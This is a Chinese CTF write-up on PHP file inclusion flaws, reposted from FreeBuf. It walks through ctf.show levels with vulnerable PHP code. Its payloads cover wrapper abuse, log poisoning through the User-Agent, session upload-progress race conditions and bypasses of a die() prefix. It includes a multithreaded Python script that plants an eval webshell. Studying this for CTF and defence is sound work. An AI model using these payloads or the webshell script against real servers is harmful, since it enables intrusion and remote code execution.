前言

近期发现文件包含这方面几乎一窍不通,特来对此漏洞进行学习,并总结如下,希望能对正在学习文件包含的人有些许帮助。

漏洞相关信息

漏洞成因

后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就
被称为文件包含。文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端
可以远程调用文件,造成文件包含漏洞。这个漏洞在php中十分常见,其他语言也有。 

漏洞危害

文件包含漏洞可能带来的危害有:
1、web服务器的文件被外界浏览,导致信息泄露;
2、脚本被任意执行,导致网站被篡改。文件包含漏洞是一种常见的依赖于脚本运行而影响web应用程序
的漏洞。 

漏洞分类

1.本地文件包含漏洞
本地的话简单理解就是网页本身存在着恶意文件,我们对其进行调用,从而获取信息等

2.远程文件包含漏洞(需要php.ini开启了allow_url_fopen和allow_url_include)
远程简单理解就是网页本身不存在恶意文件,我们取别的地方的文件包含进去,包含的文件是第三方服务器的文件。

漏洞常用函数

主流文件包含php一些函数的含义:

include() :执行到include()才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本

require(): 只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行

include_once():执行到include()才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本
_once()后缀表明只会包含一次,已包含则不会再包含
require_once():只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行
_once()后缀表明只会包含一次,已包含则不会再包含 

利用方法

最常用的是伪协议

file:// 协议:
        条件 allow_url_fopen:off/on  allow_url_include :off/on
        作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
             如果导入非php文件也会被解析为php
        用法:
            1.file://[文件的绝对路径和文件名]
            2.[文件的相对路径和文件名]
            3.[http://网络路径和文件名]

php:// 协议:
        常见形式:php://input php://stdin php://memory php://temp
        条件 allow_url_include需要 on allow_url_fopen:off/on
        作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
            和php://input,php://filter用于读取源码,php://input用于执行php代码
        php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流)     
        read=(可选)    write=(可选)
        对read和write,可选过滤器有string.rot13、string.toupper
        、string.tolower、string.strip_tags、convert.base64-encode 
        & convert.base64-decode
         用法举例:php://filter/read=convert.base64-encode/resource=flag.php
                    网址+?page=php://filter/convert.base64-encode/resource=文件名

zip:// bzip2:// zlib:// 协议:
        条件:allow_url_fopen:off/on      allow_url_include :off/on
        作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件
            更重要的是不需要指定后缀名
        用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
             compress.bzip2://file.bz2
             compress.zlib://file.gz
        其中phar://和zip://类似

data:// 协议:
        条件:allow_url_fopen:on    allow_url_include :on
        作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
        用法:data://text/plain,            data://text/plain;base64,
        举例:data://text/plain,<?php%20phpinfo();?>
             data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b 

其次还有条件竞争

条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。

条件竞争需要如下的条件:

并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。 

实战

无限制本地包含实战

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

我将flag放到上一级目录下
此时我们访问网站

想要得到flag只需构造如下payload即可

?file=../flag 

执行结果
在这里插入图片描述

有后缀的本地包含实战

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include $file.'.php';
}else{
    highlight_file(__FILE__);
}
?> 

此时我们可以发现代码强行给变量加了一个.php后缀,而我们的flag没有.php后缀,我们想要进行获取flag的话就不能够让.php发挥作用,因此我们此时可以通过以下几种方法来对其进行截断( 需要 magic_quotes_gpc=off,PHP小于5.3.4)

%00截断

路径长度截断
# Linux 需要文件名长于 4096,Windows 需要长于 256

点号截断
# 只适用 Windows,点号需要长于 256 

具体如下
在这里插入图片描述

文件包含实战(简单)

0X01

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

构造payload如下即可

?file=php://filter/read=convert.base64-encode/resource=flag.php 

0X02

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了php,我们可以用data伪协议

?file=data://text/plain,<?= `tac f*`?> 

0X03

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

虽然过滤了php和data,但是并未过滤大小写呀,我们可以用大小写进行绕过
在这里我使用input伪协议,因为data伪协议需要allow_url_fopen:on allow_url_include :on
这里条件不满足,但是我不知道为什么filter在这里也无法使用,暂时保留疑问
在url后插入如下语句

?file=Php://input
#记得要大写 

然后在post中插入如下数据

<?php system('ls');?> 

执行结果如下
在这里插入图片描述
发现flag在fl0g.php中,我们更改post内容即可

<?php system('tac fl0g.php'); 

执行结果如下
在这里插入图片描述

0X04

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

这个的话我们可以利用data伪协议进行绕过,构造payload如下

?file=data://text/plain;base64,PD89IGBjYXQgZioucGhwYDs/Pg 

执行结果
在这里插入图片描述
其实语句本来是

本来是data://text/plain;base64,PD89IGBjYXQgZioucGhwYDs/Pg==
但过滤了=,因此把=删去 

在这里插入图片描述
把等号删去此时还有分号,有分号语句就可以执行,本地测试如下
在这里插入图片描述

文件包含(日志包含类)

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

0X01

当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。 利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。
知道服务器的日志位置,我们可以去包含这个文件从而拿到shell

apache一般是/var/log/apache/access.log。
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log 

我们试着访问日志文件

?file=/var/log/nginx/access.log 

在这里插入图片描述
成功访问到了,我们发现user-agent的信息出来了,因此我们可以利用user-agent植入语句从而获取flag,具体操作如下
开启bp,修改get信息为日志路径?file=/var/log/nginx/access.log,修改ua为<?php system('ls');?>,执行结果如下
在这里插入图片描述
发现flag在fl0g.php中,此时我们修改ua为<?php system('cat flag.php');?>,执行结果如下
在这里插入图片描述

0X02

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

同上关类似,但本关过滤了:因此我们无法再使用伪协议,但仍可以借助日志包含漏洞来进行
构造payload如下即可

?file=/var/log/nginx/access.log 

同时修改ua为

<?php system('cat flag.php')?> 

在这里插入图片描述

文件包含实战(条件竞争)

0X01

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

本关把.给ban了,那么只能够利用无后缀的文件,众所周知php中只有session文件是无后缀的,因此我们需要构造一个session文件,再用session.upload_progress将木马写入session文件,设置cookie可以自动初始化session文件,设置cookie:PHPSESSID=flagphp就会在服务器上创建一个文件/tmp/sess_flag,这个文件的键值是ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写到session中,那我们在PHP_SESSION_UPLOAD_PROGRESS中编写我们的恶意语句,就成功的写到了session中,我们的session文件是有了,但是接下来看这些php内置函数

session.auto_start = off
// 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的
session.upload_progress.enabled = on
// 默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
session.upload_progress.cleanup = on
// 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
// 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
// session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。 

session.upload_progress.cleanup = on开启时,文件上传完会立即清除session文件中的内容,我们该怎么办呢,这时候就用到了文件竞争,一个POST传session,一个GET对session文件进行请求,两者同时进行就可以达到我们的目的,构造表单如下

<!DOCTYPE html>
<html>
<body>
<form action="http://9cb9ab98-2b0a-4259-98b1-fb1902156765.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html> 

随便传入个文件(为了配合PHP_SESSION_UPLOAD_PROGRESS),然后抓包,修改cookie为PHPSESSID=flag,控制session文件名
在这里插入图片描述随便设置一个变量,要不然无法执行爆破
发送到爆破模块,在PHP_SESSION_UPLOAD_PROGRESS下写入我们的恶意语句,此时设置payload为null payloads模式在这里插入图片描述再抓一个靶场包,设置文件路径为tmp/sess_flag,在下方随便设置一个变量,方便爆破,payload设置同上,然后两个同时开启爆破,即可获取我们恶意语句的结果

在这里插入图片描述

参考文章
https://www.freebuf.com/vuls/202819.html
https://www.cnblogs.com/chalan630/p/14147602.html

0X02

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
} 

本关进去就提示了要求摧毁未初始化session的警告,我们发现相比上关多了两个函数,对函数介绍如下

session_unset()
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session
id

session_destroy()
删除当前用户对应的session文件以及释放session 

可以看出这两个是完全将session给删除了,那我们只需要在表单构造时加上session_start()即可创建新的session文件,利用文件竞争同样可以达到目的,表单构造如下

<!DOCTYPE html>
<html>
<body>
<form action="http://9cb9ab98-2b0a-4259-98b1-fb1902156765.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
<?php 
session_start();
?> 

这里引用脚本(82-76通用)

import threading
import io 
import requests

url='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'#传入url
data={
    '1':"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" #写入2.php文件,文件内容为一句话木马
    }
sessionid='quan9i' #传入session文件名
def write(session): #自定义写入session文件函数
    fileBytes=io.BytesIO(b'a'*1024*50) #括号内的b表示后面字符串是bytes类型。这里传入了50kb
    while True:
        response=session.post(url,
        data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'#传入的session文件中的内容为一句话木马
        },
        cookies={
            'PHPSESSID':sessionid #文件名为sessionid,sessionid是quan9i,因此这里的文件名就是quan9i
        },
        files={
            'file':('quan9i.jpg',fileBytes)#路径是quan9i.jpg文件,文件大小是50kb
        }
        )
        #printf(response)
def read(session):#自定义读取session文件函数
    while True:
        response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={#这里写入tmp是为了包含session文件,session文件执行的的是1,1的参数对应的数据是写入文件2.php,文件2.php对应的内容是执行2
            'PHPSESSID':sessionid #读取路径是tmp/sess_quan9i
        }
        )
        response2=session.get(url+'2.php')
        if response2.status_code==200:#如果返回正常
            print('[+++++++++++++++++YES+++++++++++++++++]')
        else:
            print(response2.status_code)#输出状态码

if __name__=='__main__':
    event=threading.Event()
    with requests.session() as session:
        for i in range(5):#五个进程
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read,args=(session,)).start()
    event.set()#初始化
    '''
    整体思路
    首先写入url,我们需要往里面传入数据,所以我们这里data传入一个php文件,传到默认路径下,文件内容为一句话木马,为了
    控制session文件名,我们设置sessionid为quan9i,此时开始定义写文件函数,首先需要写入一个在session文件中写入一个文件,大小
    设置为50kb即可,之所以要写入文件是为了配合PHP_SESSION_UPLOAD_PROGRESS,这个东西是监测文件上传进度的,如果不传文件的话,
    我们啥也监测不了,这个语句就有问题了,然后设置cookie为PHPSESSID=sessionid,
    此时sessionid就是我们之前设置的quan9i,这时就确定了session文件的路径是/tmp/sess_quan9i,
    此时我们监测的文件还没传,上方写入的文件需要传进去,我们传进去就可以了,此时可以printf(response)来查看响应进而确定是否成功写入文件
    此时再自定义读文件,首先post包含我们的session文件,并设置cookie与之前相同,这个目的是为了执行session中的代码,session文件执行的是参数1,参数1在最上方对应
    的是写入2.php文件,2.php文件对应的是执行参数2,
    如果执行成功就输出+++YES+++,错误时返回状态码
    ''' 

为什么脚本可以用,是因为脚本使用了多线程竞争的方法。
什么是多线程竞争?
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:

数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。

这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)之间也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。

参考文章
https://blog.csdn.net/qq_46918279/article/details/120106832

0X03

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}
?> 

此时他多了一个删除/tmp/路径下的文件,且无法找回的语句,但是我们仍然可以利用多线程来进行,这是因为多进程同时进行多个的缘故,我们一边system("rm -rf /tmp/*");, 一边include($file);,两者之间是有间隔的,就会出现一边刚删除完一个session文件,另一个线程创建了一个文件,此时就被包含进去,从而成功执行了我们的恶意语句

0X04

<?php
 
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
 
    
}else{
    highlight_file(__FILE__);
} 

先了解一下函数

dirname() 函数返回路径中的目录部分。比如/tmp/sess_quan9i就返回/tmp/
define() 函数定义一个常量。
常量类似变量,不同之处在于:
    在设定以后,常量的值无法更改
    常量名不需要开头的美元符号 ($)
    作用域不影响对常量的访问
    常量值只能是字符串或数字
 define(name,value,case_insensitive)
参数 				描述
name 				必需。规定常量的名称。
value 				必需。规定常量的值。
case_insensitive 	可选。规定常量的名称是否对大小写敏感。
set_include_path简单理解的话就是给include定义了一个路径 

限制了include()的路径,但是并不影响上一题的payload,继续使用上一题的方法。

原因如下:
平时include()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找

所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。

参考文章
https://www.jianshu.com/p/9fff4501f56b

文件包含(绕死亡die())

附上p神文章https://www.leavesongs.com/PENETRATION/php-filter-magic.html

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

本关我们先了解一下函数

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )


参数 	描述
file 	必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 	必需。规定要写入文件的数据。可以是字符串、数组或数据流。
mode 	可选。规定如何打开/写入文件。可能的值:

    FILE_USE_INCLUDE_PATH
    FILE_APPEND
    LOCK_EX

context 	可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 

可以看出是对文件名进行了url编码,因此我们的file需要进行二次url编码,因为服务器还会自动解码一次,此时我们可以利用伪协议base64解码,来绕过死亡die,因为base64解码,只解码常规的0-9和A-Z已经/,所以识别的就是phpdie,我们在构造content时前面加上aa即可成功绕过(base64每四位一节)
,构造payload如下

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
解码两次后为php://filter/convert.base64-decode/resource=1.php
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
base64解码后为aa<?php system('ls');?> 

在这里插入图片描述

可能有部分师傅不知道去哪里进行url全编码,网上的工具大多数都未全编码,这里我使用的是bp。bp的decoder模块可以进行全编码在这里插入图片描述

有趣的文件包含

0X01

本关的话打开是个电影,我们抓包然后进行猜测,构造payload如下

GET /index.php?file=var/www/html/index.php 

然后可以发现过滤规则

<?php
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?> 

此时我们修改变量,让他包含flag文件,那不就直接读取了吗,因为readfile($file);,所以构造payload如下

GET /index.php?file=var/www/html/flag.php 

0X02

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

这关的话过滤了data64和rot13,但是还有很多,例如convert.iconv.UCS-2LE.UCS-2BE编码,这个编码就是将一部分内容进行交换位置,因此我们构造payload如下

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>? 

此时访问a.php,构造payload如下

1=system('ls'); 

在这里插入图片描述
在这里插入图片描述

本文作者:quan9i, 转自FreeBuf